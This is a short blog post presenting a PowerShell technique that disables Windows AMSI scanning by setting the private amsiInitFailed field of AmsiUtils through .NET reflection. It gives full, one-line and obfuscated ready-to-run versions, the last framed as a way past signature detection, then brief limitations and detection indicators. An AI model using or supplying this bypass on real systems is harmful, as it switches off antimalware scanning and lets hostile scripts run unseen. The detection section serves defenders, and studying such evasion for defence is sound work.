AMSI Bypass via .NET Reflection (PowerShell)

Posted on Sep 6, 2025

Disclaimer
This content is provided for educational and research purposes only.
It must not be used for malicious activities.
The author assumes no responsibility for any misuse.

This technique manipulates the internal .NET class AmsiUtils by setting the private static field amsiInitFailed to true. This tricks PowerShell into skipping AMSI initialization, effectively disabling AMSI scanning for the rest of the session.

Full Version

1
2
3
4

# AMSI bypass using .NET Reflection
$RefType = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$Field = $RefType.GetField('amsiInitFailed','NonPublic,Static')
$Field.SetValue($null,$true)

Inline Version

1
2

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Obfuscated Version (Static signature evasion)

1
2
3
4
5

$r='System.Management.Automation.AmsiUtils'
$f='amsiInitFailed'
$t=[Ref].Assembly.GetType($r)
$p=$t.GetField($f,'NonPublic,Static')
$p.SetValue($null,$true)

Limitations

  • CLM (Constrained Language Mode): The technique does not work if CLM is enforced, for example through Device Guard.
  • EDR/AV Interference: Advanced EDR solutions may detect reflection-based field access and block execution.
  • Scope: The effect is limited to the current PowerShell process and is not persistent.

Detection

Monitor for the following behaviors:

  • Access to System.Management.Automation.AmsiUtils
  • Use of .GetField() and .SetValue() on amsiInitFailed
  • PowerShell events indicating suspicious reflection activity (Event ID 4104)